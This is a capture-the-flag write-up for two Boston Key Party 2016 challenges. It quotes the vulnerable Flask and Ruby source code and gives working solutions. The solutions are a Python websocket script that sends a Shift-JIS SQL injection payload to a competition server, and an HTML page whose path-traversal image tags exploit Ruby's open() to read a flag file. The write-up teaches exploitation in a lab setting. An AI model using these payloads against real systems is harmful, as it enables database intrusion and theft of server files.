Below you can find my solution for Good Morning and OptiProxy tasks from Boston Key Party CTF 2016.
Good Morning
#!/usr/bin/env python
from flask import Flask, render_template, Response
from flask_sockets import Sockets
import json
import MySQLdb
app = Flask(__name__)
sockets = Sockets(app)
with open("config.json") as f:
connect_params = json.load(f)
connect_params["db"] = "ganbatte"
# Use Shift-JIS for everything so it uses less bytes
Response.charset = "shift-jis"
connect_params["charset"] = "sjis"
questions = [
"name",
"quest",
"favorite color",
]
# List from http://php.net/manual/en/function.mysql-real-escape-string.php
MYSQL_SPECIAL_CHARS = [
("\\", "\\\\"),
("\0", "\\0"),
("\n", "\\n"),
("\r", "\\r"),
("'", "\\'"),
('"', '\\"'),
("\x1a", "\\Z"),
]
def mysql_escape(s):
for find, replace in MYSQL_SPECIAL_CHARS:
s = s.replace(find, replace)
return s
@sockets.route('/ws')
def process_questsions(ws):
i = 0
conn = MySQLdb.connect(**connect_params)
with conn as cursor:
ws.send(json.dumps({"type": "question", "topic": questions[i], "last": i == len(questions)-1}))
while not ws.closed:
message = ws.receive()
if not message: continue
message = json.loads(message)
if message["type"] == "answer":
question = mysql_escape(questions[i])
answer = mysql_escape(message["answer"])
cursor.execute('INSERT INTO answers (question, answer) VALUES ("%s", "%s")' % (question, answer))
conn.commit()
i += 1
if i < len(questions):
ws.send(json.dumps({"type": "question", "topic": questions[i], "last": i == len(questions)-1}))
elif message["type"] == "get_answer":
question = mysql_escape(message["question"])
answer = mysql_escape(message["answer"])
cursor.execute('SELECT * FROM answers WHERE question="%s" AND answer="%s"' % (question, answer))
ws.send(json.dumps({"type": "got_answer", "row": cursor.fetchone()}))
print message
@app.route('/')
def hello():
return app.send_static_file("index.html")
if __name__ == "__main__":
from gevent import pywsgi
from geventwebsocket.handler import WebSocketHandler
addr = ('localhost', 5000)
server = pywsgi.WSGIServer(addr, app, handler_class=WebSocketHandler)
server.serve_forever()
We have SQL Injection because of shift-jis
encoding.
Here you can find explanation for this (page 36).
My solution (you need websocket-client):
# -*- coding: utf-8 -*-
import json
from websocket import create_connection
payload = '{"type":"get_answer","question": "¥\\" OR 1=1#", "answer":"test"}'
ws = create_connection("ws://52.86.232.163:32800/ws")
result = ws.recv()
ws.send(payload)
result = ws.recv()
print result
ws.close()
OptiProxy
require 'nokogiri'
require 'open-uri'
require 'sinatra'
require 'shellwords'
require 'base64'
require 'fileutils'
set :bind, "0.0.0.0"
set :port, 5300
cdir = Dir.pwd
get '/' do
str = "welcome to the automatic resource inliner, we inline all images"
str << " go to /example.com to get an inlined version of example.com"
str << " flag is in /flag"
str << " source is in /source"
str
end
get '/source' do
IO.read "/home/optiproxy/optiproxy.rb"
end
get '/flag' do
str = "I mean, /flag on the file system... If you're looking here, I question"
str << " your skills"
str
end
get '/:url' do
url = params[:url]
main_dir = Dir.pwd
temp_dir = ""
dir = Dir.mktmpdir "inliner"
Dir.chdir dir
temp_dir = dir
exec = "timeout 5 wget -T 2 --page-requisites #{Shellwords.shellescape url}"
`#{exec}`
my_dir = Dir.glob ("**/")
Dir.chdir my_dir[0]
index_file = "index.html"
html_file = IO.read index_file
doc = Nokogiri::HTML(open(index_file))
doc.xpath('//img').each do |img|
header = img.xpath('preceding::h2[1]').text
image = img['src']
img_data = ""
uri_scheme = URI(image).scheme
begin
if (uri_scheme == "http" or uri_scheme == "https")
url = image
else
url = "http://#{url}/#{image}"
end
img_data = open(url).read
b64d = "data:image/png;base64," + Base64.strict_encode64(img_data)
img['src'] = b64d
rescue
# gotta catch 'em all
puts "lole"
next
end
end
puts dir
FileUtils.rm_rf dir
Dir.chdir main_dir
doc.to_html
end
As you can read here ruby open
function is very dangerous.
So we can omit uri_scheme
check if we can create http:
directory inside temp dir.
And because wget
is used with param --page-requisites
which
This option causes Wget to download all the files that are necessary to properly display a given HTML page. This includes such things as inlined images, sounds, and referenced stylesheets.
we can create this dir using stylesheet
directive.
<link rel="stylesheet" type="text/css" href="./http:/style.css">
<img src="http:/../../flag">
<img src="http:/../../../flag">
<img src="http:/../../../../flag">
<img src="http:/../../../../../flag">
<img src="http:/../../../../../../flag">
<img src="http:/../../../../../../../flag">
<img src="http:/../../../../../../../../flag">
<img src="http:/../../../../../../../../../flag">
<img src="http:/../../../../../../../../../../flag">
<img src="http:/../../../../../../../../../../../flag">
<img src="http:/../../../../../../../../../../../../flag">